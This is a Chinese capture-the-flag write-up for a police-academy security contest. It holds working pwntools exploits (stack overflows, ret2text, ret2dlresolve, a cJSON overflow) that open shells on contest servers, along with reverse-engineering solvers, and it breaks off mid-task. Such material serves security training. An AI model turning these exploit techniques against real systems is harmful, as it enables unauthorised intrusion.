第四届黄河流域公安院校网络空间安全技能挑战赛部分wp 由于水平有限,所以只实现了这么多
pwn-level1-testnc_revege
分析发现这是一个随机数答题的程序,其中的题目有三个阶段,而且在答题的时候,实际显示的运算符和程序内部的计算运算符不同,但是通过分析程序发现,这三个偏移量是在同一个时间生成并存储在buf 中所以 只要确定了第一个阶段的偏移量,那么就可以确定第二阶段和第三阶段的偏移量,那么我们可以直接通过枚举的方式获得三个阶段的答题,从而获得shell。
from pwn import *from typing import Callablefrom dataclasses import dataclassimport time
# context.log_level = "debug"
"""枚举所有的 可能偏移,最坏的情况下有 6^3 种情况"""
@dataclassclass StageProc: proc: process procoffset: int
sym_list = ['+', '-', 'x', '%', '^', '&', '+', '-', 'x', '%', '^', '&']
def calculate(a: int, op: str, b: int) -> int: if op == '+': return a + b elif op == '-': return a - b elif op == 'x': return a * b elif op == '%': return a % b if b != 0 else 0 elif op == '^': return a ^ b elif op == '&': return a & b else: return 0
def calcPart(p: process, offset: int) -> int: global sym_list
res = -1 # log.info(f"Get calcPart") # time.sleep(.5) parts = p.recv().decode().split() while not "=" in parts: # 防止因为io玄学问题导致接受不全 parts += p.recv().decode().split()
try: num1 = int(parts[-4]) disOp = parts[-3] op = sym_list[sym_list.index(disOp) + offset] num2 = int(parts[-2]) res = calculate(num1, op, num2) # log.info(f"Calc: {num1} {op} {num2} = {res}") except: log.error(f"calcPartsError: {parts}") log.error(f"Break!") return res
# 寻找获取# stage ==> 1, 2, 3def findOffset(pFunc: Callable[[], process], stage: int) -> StageProc: # p = pFunc() offset = 0
while True: p = pFunc() res = calcPart(p, offset) p.sendline(str(res).encode()) back = p.recvline()
if b"lose" in back: log.warn(f"findOffsetFail : {stage}") p.close() offset += 1 offset = 0 if offset > 6 else offset else: log.success(f"findOffset {stage} : offset => {offset}") return StageProc( proc = p, procoffset = offset ) # break
# 计算 该阶段接下来的题目def CalcPartsWithOffset(ps: StageProc, stage: int) -> process: for _ in range(39): res = calcPart(ps.proc, ps.procoffset) ps.proc.sendline(str(res)) back = ps.proc.recvline()
if b"lose" in back: log.error(f"Stage{stage} CalcFail Step:{_}") raise ValueError("Stage Calc Fail Error!") # 尝试捕获最后几个算式 if _ >= 37 and stage == 3: log.info(f"Proc: {_}: {back} ")
return ps.proc
def pCreate() -> process: return process("./pwn") # return remote("175.27.251.122", 33490)# 计算 阶段一def Stage1() -> process: try: temp = findOffset(pCreate, 1) return CalcPartsWithOffset(temp, 1) except: log.error("Restart: Stage1") return Stage1()
def Stage2() -> process: try: temp = findOffset(Stage1, 2) return CalcPartsWithOffset(temp, 2) except: log.error("Restart: Stage2") return Stage2()
def Stage3() -> process: try: temp = findOffset(Stage2, 3) return CalcPartsWithOffset(temp, 3) except: log.error("Restart: Stage3") return Stage3()
def tryStageRetry() -> process: for attempt in range(10): try: res = Stage3() log.success(f"Stage3 第{attempt+1}次尝试成功") return res except PwnlibException as e: log.warning(f"Stage1 第{attempt+1}次尝试失败: {e}") time.sleep(1)
p = tryStageRetry()print(p.recvall()) #显示答案pwn-level2-ret2text
分析发现是一个简单的ret2text,程序存在后门函数,无canary, PIE,所以直接栈溢出就可以拿到shell
from pwn import *
file = "./pwn"host = "123.56.126.77"port = 1007
is_remote = True
context.log_level = "debug"context.binary = file
if is_remote: p = remote(host, port)else: p = process(file)
elf = ELF(file)rop = ROP(elf)
ret = 0x40101ardi = 0x401178backdoor = elf.sym["backdoor"]
payload = flat( { 64: [ p64(0), p64(ret), p64(backdoor) ]
}, filler = b"\x00")
p.sendline(payload)p.interactive()pwn-level3-pwn-bypass
仍然是 ret2text 的变式, 其中在函数main中绕过 admin 登录之后在函数vuln中

memcpy 构成了栈溢出
from pwn import *
file = "./pwn"host = "123.56.126.77"port = 1002
is_remote = True
context.log_level = "debug"context.binary = file
if is_remote: p = remote(host, port)else: p = process(file)
elf = ELF(file)rop = ROP(elf)
p.sendafter("input your name:", b"admin")p.sendafter("input your pasword:", b"123456")
p.recvuntil(b"chunk_addr: ")chunk_addr = int(p.recvuntil(b"\n")[:-1], 16)ret = 0x401016backdoor = elf.sym["backdoor"]
log.success(f"chunk_addr = {hex(chunk_addr)}")payload = flat( { # 0x0: p64(chunk_addr), 0x48: [ p64(chunk_addr), p64(ret), p64(ret), p64(backdoor) ] }, # filler = b"\x00")# raw_input(f"pwndbg -p {p.pid}")
p.sendline(payload)p.interactive()pwn-level4-pwn-aespwn
分析发现,这是一个 aes 加密相关的程序只要输入密文就可以直接拿到shell

#!/usr/bin/env python3from Crypto.Cipher import AESimport struct
def main(): # 从代码中提取的明文 v6 # v6[0] = 0x7766554433221100 # v6[1] = 0xFFEEDDCCBBAA9988 # 小端序解析 v6_0 = 0x7766554433221100 v6_1 = 0xFFEEDDCCBBAA9988
plaintext = bytearray() # v6[0] 小端:00 11 22 33 44 55 66 77 plaintext.extend(struct.pack('<Q', v6_0)) # v6[1] 小端:88 99 AA BB CC DD EE FF plaintext.extend(struct.pack('<Q', v6_1))
print(f"Plaintext: {plaintext.hex()}") # 输出: 00112233445566778899aabbccddeeff
# 从代码中提取的密钥 v5 # v5[0] = 0x706050403020100 -> 实际上是 0x0706050403020100 # v5[1] = 0xF0E0D0C0B0A0908 -> 0x0F0E0D0C0B0A0908 v5_0 = 0x0706050403020100 v5_1 = 0x0F0E0D0C0B0A0908
key = bytearray() key.extend(struct.pack('<Q', v5_0)) key.extend(struct.pack('<Q', v5_1))
print(f"Key: {key.hex()}") # 输出: 000102030405060708090a0b0c0d0e0f
# AES-128 ECB 加密 cipher = AES.new(bytes(key), AES.MODE_ECB) ciphertext = cipher.encrypt(bytes(plaintext))
print(f"Ciphertext: {ciphertext.hex()}")
# 输出提示 print("\n" + "="*50) print(f"Exploit: 输入以下 32 个十六进制字符即可获得 shell:") print(ciphertext.hex()) print("="*50)
if __name__ == "__main__": main()得到 69c4e0d86a7b0430d8cdb78070b4c55a nc 连接之后就可以直接拿到flag
pwn-level5
主要考察代码审计

显然可以看出, 再登录管理员账号后可以直接运行任意shell指令,而管理员密码在,输错密码后会直接给你
2adminRAIpqKKiEPDiTXFT/bin/shpwn-level6
发现是主要考察ret2dlresolve
由图可知

程序存在一个大范围的栈溢出,所以可以直接使用 pwntool 自动构建出一个 delresolve 的结构体来连接system 执行命令
from pwn import *
file = "./pwn"host = "123.56.126.77"port = 1006
is_remote = True
context.log_level = "debug"context.binary = file
if is_remote: p = remote(host, port)else: p = process(file)
elf = ELF(file)rop = ROP(elf)libc = ELF("./libc.so.6")
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh\x00'])
log.info(f"data_addr: {hex(dlresolve.data_addr)}")log.info(f"Payload length: {len(dlresolve.payload)}")
rop.read(0, dlresolve.data_addr, len(dlresolve.payload))rop.ret2dlresolve(dlresolve)ret = 0x40101a
payload = flat( { 72: [ # p64(ret), rop.chain(), ] }, filler = b"\x00")
p.recvuntil(b'payload:\n')p.send(payload)
# sleep(0.5)p.send(dlresolve.payload)
p.interactive()pwner_jsonstack
程序逻辑
main() ├─ read(0, header, 4) // 读取长度 ├─ read(0, raw, len) // 读取 JSON ├─ cJSON_Parse(raw) // 解析 JSON ├─ 检查 cmd == "stack" └─ handle_stack(req) ├─ 获取 "data" (string) 和 "copy_len" (number) ├─ 检查: n >= 0 && strlen(data) >= n └─ vuln_copy(data, n) └─ memcpy(buf[32], data, n) ← 栈溢出漏洞点
vuln_copy() 中 buf 只有 32 字节,但 copy_len 可控:
void vuln_copy(const char *data, int copy_len) { char buf[32]; // rbp-0x20 memset(buf, 0, 32); memcpy(buf, data, copy_len); // 可溢出}栈布局(从 buf 开始):
| 偏移 | 大小 | 内容 |
|---|---|---|
| 0x00 | 32B | buf |
| 0x20 | 8B | saved rbp |
| 0x28 | 8B | return address |
绕过检查
handle_stack 的检查:
slen = strlen(data->valuestring);n = copy_len->valueint;if (n < 0 || slen < n) // 需要 n >= 0 且 slen >= n return error;- 发送 42 字节不含
\x00的 payload,strlen返回 42 - 设
copy_len = 42,检查通过 (42 >= 42) memcpy复制 42 字节,溢出到返回地址
cJSON 的 parse_string 对非转义字节无过滤(只特殊处理 " 和 \),所以 \x12、\xfe 等二进制字节可直接放在 JSON 字符串中。
后门函数
win 位于 0x4012f6:
void win() { write(1, "you win\n", 8); system("/bin/sh");}栈对齐问题
直接跳到 0x4012f6(win 入口)会执行 push rbp,导致调用 system 时 RSP 不是 16 字节对齐,触发 glibc SSE movaps 崩溃(SIGSEGV)。
解决: 跳到 0x4012fe(跳过 push rbp; mov rbp, rsp),保持栈对齐:
0x4012fa: push rbp ← 跳过0x4012fb: mov rbp, rsp ← 跳过0x4012fe: xor eax, eax ← 跳到这里0x40130e: call write ← 栈对齐 ✓0x40131e: call system ← 栈对齐 ✓利用步骤
- 构造 42 字节 payload:
'A'*40 + '\xfe\x12' - 包裹为 JSON:
{"cmd":"stack","data":"<payload>","copy_len":42} - 发送 4 字节 LE 长度头 + JSON 体
- 返回地址低 2 字节从
0x145e改为0x12fe,高字节不变 vuln_copy返回到0x4012fe→system("/bin/sh")→ get shell
Exploit
import structimport sysfrom pwn import *
def exploit(host: str, port: int): padding = b'A' * 40 # fill buf (32) + saved rbp (8) win_low = b'\xfe\x12' # low 2 bytes of 0x4012fe in LE
data_payload = padding + win_low # 42 bytes total, no null bytes
assert len(data_payload) == 42 assert b'\x00' not in data_payload # no null bytes to break strlen
json_body = b'{"cmd":"stack","data":"' + data_payload + b'","copy_len":42}'
header = struct.pack('<I', len(json_body))
r = remote(host, port)
r.send(header) r.send(json_body)
r.interactive()
if __name__ == '__main__': exploit("123.56.126.77", 1004)re-Roses
1. 静态分析
IDA 中加载 binary,通过 survey_binary 概览发现关键信息:
- 字符串
"Roses"位于0x14000a041 - 字符串
"Encrypted Result:\n%s\n"位于0x14000a09d - 字符串
"C:\\Users\\Lenovo\\Desktop\\1.txt"位于0x14000a047 - 64 字符自定义 Base64 表位于
0x14000a000:VxKw7QTsMd5Bri83NZe9Ut6pChXzD4IAYqmLuakbHofRWycvjGPnS2JE/+l01OFg
2. 核心函数
sub_1400017A0 — 主逻辑
1. fopen("C:\\Users\\Lenovo\\Desktop\\1.txt", "rb")2. fseek(END) → ftell() → 获取文件大小3. fread() 读入内存4. sub_1400014E7() — XOR 加密5. sub_140001578() — Base64 编码6. printf("Encrypted Result:\n%s\n", result)sub_1400014E7 — XOR 加密
使用 5 字节密钥 "Roses" 循环异或:
for (i = 0; i < size; i++) { output[i] = input[i] ^ "Roses"[i % 5];}- 模运算通过魔数
0xCCCCCCCCCCCCCCCD实现除法优化 - 密钥:
Roses=0x52 0x6f 0x73 0x65 0x73
sub_140001578 — 自定义 Base64
使用自定义编码表(非标准 ABCDEFGH...):
自定义: VxKw7QTsMd5Bri83NZe9Ut6pChXzD4IAYqmLuakbHofRWycvjGPnS2JE/+l01OFg标准: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/分配公式 malloc(4 * ((size + 2) / 3) + 1) 为标准 Base64 输出大小。
3. 加密流程
Plaintext → XOR("Roses") → CustomBase64 → "Encrypted Result:\n%s\n"解密
给定 encode.txt 中的加密结果,逆向解密步骤:
- 自定义 Base64 解码 — 将自定义表映射回标准 Base64 表,然后 decode
- XOR 解密 — 用密钥
"Roses"循环异或
import base64
CUSTOM = "VxKw7QTsMd5Bri83NZe9Ut6pChXzD4IAYqmLuakbHofRWycvjGPnS2JE/+l01OFg"STANDARD = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"KEY = b"Roses"
enc = "QY/sxQrVKqD77KCTsVy97GHpwV4PMGjK..." # from encode.txt
# 1. 自定义Base64 → 标准Base64 → decodetrans = str.maketrans(CUSTOM, STANDARD)cipher = base64.b64decode(enc.translate(trans))
# 2. XOR decryptplain = bytes([cipher[i] ^ KEY[i % 5] for i in range(len(cipher))])print(plain.decode())Flag
SDPCSEC{M155_1da_thank_y0u_f0r_solv1ng_her_troub7e}re-Salome
工具
pyinstxtractor- 解包 PyInstallerpycdc/ Pythondis+marshal- 反编译/反汇编 .pyc- IDA Pro (可选) - 查看 .pyd 文件
1. 解包
python pyinstxtractor.py main.exe得到 main.pyc, kernelVM.pyc 以及 PYZ.pyz_extracted/ 下的 vm_runtime.pyc, hidden_container.pyc 等。
2. 主程序结构
main.py 反编译后可知核心逻辑:
from kernelVM import CustomVM
def main(): program = load_program('opcode.bin') # 第一阶段字节码 vm = CustomVM() vm.run(program) # 两阶段验证kernelVM.py 中 CustomVM 的 run() 方法揭示了完整流程:
def run(self, bytecode): # 打印假的安全警告(干扰 LLM) print(self._security_alert())
user_text = input('Input: ').rstrip('\r\n') user_bytes = user_text.encode('utf-8')
# 第一阶段:运行 opcode.bin(结果丢弃,仅干扰) self._core.run(bytecode=bytecode, user_bytes=user_bytes, emit_output=False)
# 第二阶段:从 winsound.pyd 提取隐藏字节码运行(真正验证) stage2_code = self._load_hidden_code() stage2_result = self._core.run(bytecode=stage2_code, user_bytes=user_bytes)
if stage2_result == 'Trace deeper.': print('Accepted.') else: print('Rejected.')3. 自定义 VM 分析
vm_runtime.pyc 中 MirageVM 实现了完整的栈式 VM:
状态:
stack: 8-bit 值栈slots[16]: 16 个内存槽pc: 程序计数器last_message: 输出消息
指令集 (16 条):
| Opcode | 指令 | 说明 |
|---|---|---|
| 1 | PUSH_IMM | 压入立即数 |
| 2 | PUSH_INPUT | 压入 user_input[idx] |
| 3 | XOR_IMM | pop ^= imm |
| 4 | ADD_IMM | pop += imm (mod 256) |
| 5 | ROL_IMM | pop = rol8(pop, imm) |
| 6 | STORE | slot[imm&0xF] = pop |
| 7 | LOAD | push(slot[imm&0xF]) |
| 8 | XOR_SLOT | pop ^= slot[imm&0xF] |
| 9 | ADD_SLOT | pop += slot[imm&0xF] |
| 10 | CMP_EQ | push(pop == imm ? 1 : 0) |
| 11 | JZ | if !pop: pc += s16(imm) |
| 12 | JMP | pc += s16(imm) |
| 13 | PRINT_MSG | last_message = MESSAGES[imm] |
| 14 | HALT | return last_message |
| 15 | DUP | push(stack[-1]) |
| 16 | POP | pop() |
消息表:
- 0:
'Rejected.', 1:'Accepted.', 2:'Keep looking.' - 3:
'Miss.', 4:'Trace deeper.'
4. 隐藏载荷提取
_hidden_name() 通过 chr 解码出隐藏文件名为 winsound.pyd。
hidden_container.pyc 实现了 M13P 容器格式的解包:
容器格式: MAGIC "M13P" (4 bytes) KEY (1 byte) SEED (1 byte) LENGTH (2 bytes, LE) CHECKSUM (1 byte) BODY (LENGTH bytes)
解码: plain[i] = body[i] ^ stream[i] ^ MASK[i % 7] 其中 stream[i] = (key + seed + i * 11) & 0xFF MASK = b'curtain'5. 第二阶段字节码
opcode.bin(第一阶段)使用 3 个 slot,线性处理 24 字节输入,结果仅打印 Accepted. / Rejected.,但程序丢弃该结果——仅为干扰。
winsound.pyd 中的第二阶段才是真正的验证,使用 4 个 slot,输入索引被打乱。
单字符变换(正向):
t1 = input[i] ^ slot[0]t2 = rol8(t1, rol0)t3 = (t2 + slot[1]) & 0xFFt4 = t3 ^ slot[2]t5 = rol8(t4, 3)t6 = (t5 + add1) & 0xFFt7 = t6 ^ slot[3]result = (t7 + add2) & 0xFF状态更新(依赖已更新的 slot):
slot[3] = rol8((slot[3] + result + up_add3) & 0xFF, 1)slot[2] = slot[2] ^ result ^ up_xor2slot[1] = rol8((slot[1] + slot[2] + up_add1) & 0xFF, 1)slot[0] = (slot[0] + result + up_add0) ^ slot[3]初始状态: slot = [0x53, 0xA9, 0x1F, 0xC7]
最终检查: slot == [0xA5, 0x35, 0x63, 0xAB]
6. 求解
已知每步的 expected 值和当前 slot 状态,逆向计算输入字节:
t7 = (expected - add2) & 0xFF # 逆 ADD_IMM add2t6 = t7 ^ slot[3] # 逆 XOR_SLOT[3]t5 = (t6 - add1) & 0xFF # 逆 ADD_IMM add1t4 = ror8(t5, 3) # 逆 ROL_IMM 3t3 = t4 ^ slot[2] # 逆 XOR_SLOT[2]t2 = (t3 - slot[1]) & 0xFF # 逆 ADD_SLOT[1]t1 = ror8(t2, rol0) # 逆 ROL_IMM rol0input[i] = t1 ^ slot[0] # 逆 XOR_SLOT[0]然后用已知的 expected 值正向更新 slot 状态,继续下一字符。
所以完整脚本如下
from pathlib import Path
BASE = Path(__file__).parent
def rol8(value: int, bits: int) -> int: value &= 0xFF; bits &= 7 if bits == 0: return value return ((value << bits) | (value >> (8 - bits))) & 0xFF
def ror8(value: int, bits: int) -> int: return rol8(value, (-bits) % 8)
def s16(value: int) -> int: if value & 0x8000: return value - 0x10000 return value
def extract_stage1_blocks(bc: bytes): """ Stage 1 bytecode layout per character: PUSH_INPUT [i] (2B: 02 xx) XOR_SLOT [0] (2B: 08 00) ROL_IMM <rol> (2B: 05 xx) ADD_SLOT [1] (2B: 09 01) XOR_IMM <val> (2B: 03 xx) ADD_SLOT [2] (2B: 09 02) DUP (1B: 0F) STORE [3] (2B: 06 03) CMP_EQ <exp> (2B: 0A xx) JZ <rel> (3B: 0B xx xx) LOAD [2] (2B: 07 02) XOR_SLOT [3] (2B: 08 03) XOR_IMM <uxor> (2B: 03 xx) ROL_IMM <urol> (2B: 05 xx) STORE [2] (2B: 06 02) LOAD [1] (2B: 07 01) ADD_SLOT [3] (2B: 09 03) ADD_IMM <uadd> (2B: 04 xx) STORE [1] (2B: 06 01) LOAD [0] (2B: 07 00) ADD_IMM <uadd2> (2B: 04 xx) ROL_IMM 1 (2B: 05 01) XOR_SLOT [3] (2B: 08 03) STORE [0] (2B: 06 00) Total: 20 (check) + 28 (update) = 48 bytes per block """ blocks = [] # Find first PUSH_INPUT pc = 0 while pc < len(bc) and bc[pc] != 2: pc += 1
while pc < len(bc) and bc[pc] == 2: start = pc # Parse check part with explicit offsets block = { 'input_idx': bc[start + 1], 'rol_bits': bc[start + 5], 'xor_val': bc[start + 9], 'expected': bc[start + 16], # Update part 'update_xor': bc[start + 25], 'update_rol': bc[start + 27], 'update_add': bc[start + 33], 'update_add2': bc[start + 37], } blocks.append(block) pc = start + 48 # 20 + 28
return blocks
def extract_stage2_blocks(bc: bytes): """ Stage 2 bytecode layout per character (64 bytes each): +0: PUSH_INPUT [i] (2B: 02 xx) +2: XOR_SLOT [0] (2B: 08 00) +4: ROL_IMM <rol0> (2B: 05 xx) +6: ADD_SLOT [1] (2B: 09 01) +8: XOR_SLOT [2] (2B: 08 02) +10: ROL_IMM 3 (2B: 05 03) +12: ADD_IMM <add1> (2B: 04 xx) +14: XOR_SLOT [3] (2B: 08 03) +16: ADD_IMM <add2> (2B: 04 xx) +18: DUP (1B: 0F) +19: STORE [4] (2B: 06 04) +21: CMP_EQ <exp> (2B: 0A xx) +23: JZ <rel> (3B: 0B xx xx) +26: LOAD [3] (2B: 07 03) +28: ADD_SLOT [4] (2B: 09 04) +30: ADD_IMM <ua3> (2B: 04 xx) +32: ROL_IMM 1 (2B: 05 01) +34: STORE [3] (2B: 06 03) +36: LOAD [2] (2B: 07 02) +38: XOR_SLOT [4] (2B: 08 04) +40: XOR_IMM <ux2> (2B: 03 xx) +42: STORE [2] (2B: 06 02) +44: LOAD [1] (2B: 07 01) +46: ADD_SLOT [2] (2B: 09 02) +48: ADD_IMM <ua1> (2B: 04 xx) +50: ROL_IMM 1 (2B: 05 01) +52: STORE [1] (2B: 06 01) +54: LOAD [0] (2B: 07 00) +56: ADD_SLOT [4] (2B: 09 04) +58: ADD_IMM <ua0> (2B: 04 xx) +60: XOR_SLOT [3] (2B: 08 03) +62: STORE [0] (2B: 06 00) Total: 64 bytes per block """ blocks = [] # Find first PUSH_INPUT - skip init + JZ + dead code # Init: 4 PUSH_IMM/STORE pairs = 16 bytes # Then PUSH_IMM 0 + JZ + dead code (HALT at offset 29) # First PUSH_INPUT is at byte offset 30 = 0x1E pc = 30 # 0x1E
while pc < len(bc) and bc[pc] == 2: start = pc block = { 'input_idx': bc[start + 1], 'rol0': bc[start + 5], 'add1': bc[start + 13], 'add2': bc[start + 17], 'expected': bc[start + 22], 'up_add3': bc[start + 31], 'up_xor2': bc[start + 41], 'up_add1': bc[start + 49], 'up_add0': bc[start + 59], } blocks.append(block) pc = start + 64
return blocks
# ============================================================# Solve stage 2 (the one that determines success)# ============================================================
def solve_stage2(bc: bytes): """Returns (input_bytes, final_slots).""" blocks = extract_stage2_blocks(bc) # Initial slot values (from disassembly) slots = [0x53, 0xA9, 0x1F, 0xC7] + [0]*12 input_map = {}
print(f"Stage 2: {len(blocks)} blocks") for i, b in enumerate(blocks): print(f" [{i:2d}] input_idx={b['input_idx']:2d} expected=0x{b['expected']:02X} " f"rol0={b['rol0']} add1=0x{b['add1']:02X} add2=0x{b['add2']:02X} " f"ua3=0x{b['up_add3']:02X} ux2=0x{b['up_xor2']:02X} " f"ua1=0x{b['up_add1']:02X} ua0=0x{b['up_add0']:02X}")
for b in blocks: s0, s1, s2, s3 = slots[0], slots[1], slots[2], slots[3]
# Reverse the computation: # Forward: result = ((rol8(t4,3) + add1) ^ s3 + add2) & 0xFF # where t4 = (t3 ^ s2) # where t3 = (rol8(input ^ s0, rol0) + s1) & 0xFF # # Backward: t_after_add2 = (b['expected'] - b['add2']) & 0xFF # before ADD_IMM add2 t_after_xor3 = t_after_add2 ^ s3 # before XOR_SLOT[3] t_after_add1 = (t_after_xor3 - b['add1']) & 0xFF # before ADD_IMM add1 t_after_rol3 = ror8(t_after_add1, 3) # before ROL_IMM 3 t_after_xor2 = t_after_rol3 ^ s2 # before XOR_SLOT[2] t_after_adds1 = (t_after_xor2 - s1) & 0xFF # before ADD_SLOT[1] t_after_rol0 = ror8(t_after_adds1, b['rol0']) # before ROL_IMM rol0 input_byte = t_after_rol0 ^ s0 # before XOR_SLOT[0]
input_map[b['input_idx']] = input_byte
# Forward update using known result: result = b['expected'] # slot[3] = rol8((s3 + result + up_add3) & 0xFF, 1) new_s3 = rol8((s3 + result + b['up_add3']) & 0xFF, 1) # slot[2] = s2 ^ result ^ up_xor2 new_s2 = s2 ^ result ^ b['up_xor2'] # slot[1] = rol8((s1 + new_s2 + up_add1) & 0xFF, 1) ← uses updated slot[2]! new_s1 = rol8((s1 + new_s2 + b['up_add1']) & 0xFF, 1) # slot[0] = (s0 + result + up_add0) ^ new_s3 ← uses updated slot[3]! new_s0 = ((s0 + result + b['up_add0']) & 0xFF) ^ new_s3
slots[0], slots[1], slots[2], slots[3] = new_s0, new_s1, new_s2, new_s3
# Build full input (in index order) max_idx = max(input_map) if input_map else -1 input_bytes = bytes(input_map.get(i, 0) for i in range(max_idx + 1))
print(f"\nFinal slots: [0]={slots[0]:02X} [1]={slots[1]:02X} [2]={slots[2]:02X} [3]={slots[3]:02X}") print(f"Expected: [0]=A5 [1]=35 [2]=63 [3]=AB") return input_bytes, slots
# ============================================================# VM for verification# ============================================================
class MirageVM: def __init__(self): self.reset()
def reset(self): self.stack = []; self.slots = [0]*16; self.pc = 0; self.last_message = ''
def pop(self) -> int: return self.stack.pop() & 0xFF
def push(self, value: int): self.stack.append(value & 0xFF)
def run(self, bytecode: bytes, user_input: bytes, trace: bool = False) -> str: self.reset() data = bytes(user_input) while self.pc < len(bytecode): op = bytecode[self.pc]; self.pc += 1 match op: case 1: # PUSH_IMM v = bytecode[self.pc]; self.pc += 1; self.push(v) case 2: # PUSH_INPUT i = bytecode[self.pc]; self.pc += 1 self.push(data[i] if i < len(data) else 0) case 3: # XOR_IMM v = bytecode[self.pc]; self.pc += 1; self.push(self.pop() ^ v) case 4: # ADD_IMM v = bytecode[self.pc]; self.pc += 1; self.push((self.pop() + v) & 0xFF) case 5: # ROL_IMM b = bytecode[self.pc]; self.pc += 1; self.push(rol8(self.pop(), b)) case 6: # STORE s = bytecode[self.pc] & 0xF; self.pc += 1; self.slots[s] = self.pop() case 7: # LOAD s = bytecode[self.pc] & 0xF; self.pc += 1; self.push(self.slots[s]) case 8: # XOR_SLOT s = bytecode[self.pc] & 0xF; self.pc += 1; self.push(self.pop() ^ self.slots[s]) case 9: # ADD_SLOT s = bytecode[self.pc] & 0xF; self.pc += 1; self.push((self.pop() + self.slots[s]) & 0xFF) case 10: # CMP_EQ v = bytecode[self.pc]; self.pc += 1; self.push(1 if self.pop() == v else 0) case 11: # JZ r = s16(int.from_bytes(bytecode[self.pc:self.pc+2], 'little')) self.pc += 2 if self.pop() == 0: self.pc += r case 12: # JMP r = s16(int.from_bytes(bytecode[self.pc:self.pc+2], 'little')) self.pc += 2; self.pc += r case 13: # PRINT_MSG m = {0:'Rejected.',1:'Accepted.',2:'Keep looking.',3:'Miss.',4:'Trace deeper.'} self.last_message = m.get(bytecode[self.pc], f'UNK'); self.pc += 1 case 14: # HALT return self.last_message case 15: # DUP self.push(self.stack[-1] if self.stack else 0) case 16: # POP self.pop() case _: raise RuntimeError(f'unknown opcode 0x{op:02X} at 0x{self.pc-1:04X}') return self.last_message
# ============================================================# Main# ============================================================
print("=" * 60)print("=== Stage 2 Solver ===")print("=" * 60)
# Extract hidden payloadMASK = b'curtain'MAGIC = b'M13P'winsound = Path(BASE / "main.exe_extracted/winsound.pyd").read_bytes()
# Find M13P and unpackoff = winsound.find(MAGIC)assert off >= 0key = winsound[off + 4]; seed = winsound[off + 5]length = int.from_bytes(winsound[off + 6:off + 8], 'little')checksum = winsound[off + 8]body = winsound[off + 9:off + 9 + length]plain = bytearray()for i, v in enumerate(body): stream = (key + seed + i * 11) & 0xFF plain.append(v ^ stream ^ MASK[i % len(MASK)])assert sum(plain) & 0xFF == checksumstage2_bc = bytes(plain)
print(f"Stage 2 bytecode: {len(stage2_bc)} bytes")
input_bytes, final_slots = solve_stage2(stage2_bc)
print(f"\nInput ({len(input_bytes)} bytes): {input_bytes}")print(f"Input hex: {input_bytes.hex()}")
# Try to decode as texttry: print(f"Input text: {input_bytes.decode('ascii')}")except: printable = ''.join(chr(b) if 32 <= b < 127 else f'\\x{b:02x}' for b in input_bytes) print(f"Input partial: {printable}")
# Verifyprint("\n--- Verification ---")vm = MirageVM()result = vm.run(stage2_bc, input_bytes)print(f"VM result: '{result}'")print(f"Expected: 'Trace deeper.' {'✓ SUCCESS' if result == 'Trace deeper.' else '✗ FAILED'}")
# Also verify against the original main.exe by simulating what it doesprint("\n" + "=" * 60)print("=== Full simulation (both stages) ===")print("=" * 60)
# Stage 1stage1_bc = Path(BASE / "opcode.bin").read_bytes()vm1 = MirageVM()r1 = vm1.run(stage1_bc, input_bytes)print(f"Stage 1 result: '{r1}'")
# Stage 2vm2 = MirageVM()r2 = vm2.run(stage2_bc, input_bytes)print(f"Stage 2 result: '{r2}'")print(f"Final answer: {'FLAG FOUND!' if r2 == 'Trace deeper.' else 'Keep trying...'}")Flag
Y0uC@ncatcht1_1erealf1@9(“You Can catch the real flag”)
运行验证:
$ echo "Y0uC@ncatcht1_1erealf1@9" | ./main.exe--- VM Start ---Input: Accepted.Yield
1. 初探
二进制是一个 64-bit ELF,导入了 ptrace、fork、waitpid、raise、mmap 等关键函数。从字符串中可以看到 "Correct!\n"、"Wrong!\n"、"Input flag: " 以及大量 PTRACE_PEEKDATA、PTRACE_POKEDATA 等调试相关字符串,说明程序使用了 ptrace 实现某种运行时代码修改。
导入函数: ptrace, fork, waitpid, raise, mmap, memcmp, fgets关键字符串: "Correct!\n", "Wrong!\n", "Input flag: ", "PTRACE_PEEKDATA", "PTRACE_POKEDATA", "PTRACE_GETREGS", "failed to locate int3 in gate stub", "trap validation failed"2. 整体架构
程序通过 fork() 创建父子进程,子进程被父进程 ptrace 追踪:
main()├── mmap(flags=MAP_ANONYMOUS|MAP_SHARED) // 父子共享内存├── fork()│ ├── 子进程:│ │ ├── ptrace(PTRACE_TRACEME) // 允许父进程追踪│ │ ├── raise(SIGSTOP) // 暂停等待父进程│ │ ├── sub_4029B5() // 读flag, 进入trap链│ │ │ ├── printf("Input flag: ")│ │ │ ├── fgets(s_0, 128, stdin) // 读入flag│ │ │ ├── 检查长度 == 36│ │ │ └── sub_40243A() // 调用15个INT3函数│ │ └── _exit()│ └── 父进程:│ └── sub_40248E(pid) // ptrace状态机│ ├── waitpid(初始SIGSTOP)│ ├── PTRACE_CONT // 让子进程继续│ └── while(1):│ ├── waitpid(SIGTRAP) // 等待INT3│ ├── PTRACE_GETREGS // 读取子进程寄存器│ ├── 验证 [RIP-1] == 0xCC // 确认是INT3│ ├── 查表执行状态机节点│ ├── PTRACE_SETREGS // 修改子进程RIP│ └── PTRACE_CONT // 继续执行3. 核心机制:缓冲区溢出劫持 RIP
父进程的状态机函数中有一个故意的缓冲区溢出:
_BYTE v2[80]; // 寄存器缓冲区,只有80字节ptrace(PTRACE_GETREGS, pid, 0, v2); // 写入216字节!溢出!x86-64 的 user_regs_struct 结构体大小为 216 字节,RIP 位于偏移 128 处。v2[80] 只有 80 字节,所以 RIP 的值会溢出写到 v2 之后的栈变量 p_sub_401E44(偏移 128)。
栈布局:[rbp-0x100] v2[0..79] ← r15 ~ orig_rax[rbp-0xB0] v3 ← RAX...[rbp-0x80] p_sub_401E44 ← RIP (v2偏移128) ★溢出点★...父进程在状态机的 WRITE 操作中修改 p_sub_401E44 为计算函数地址,然后 PTRACE_SETREGS 将整个 216 字节写回子进程寄存器。子进程的 RIP 就被修改为计算函数地址。
同时,父进程还通过 PTRACE_POKEDATA 修改子进程栈上的返回地址([RSP]),使计算函数的 ret 指令返回到下一个 INT3 断点。
执行流程:
TRAP(n) → INT3 → 父进程拦截 → 修改RIP=计算函数, [RSP]=TRAP(n+1)→ 子进程执行计算函数 → ret → TRAP(n+1) → INT3 → ...4. 状态机结构
15 个状态机节点,存储在 unk_4051C0(由 sub_401E92 解密初始化)。
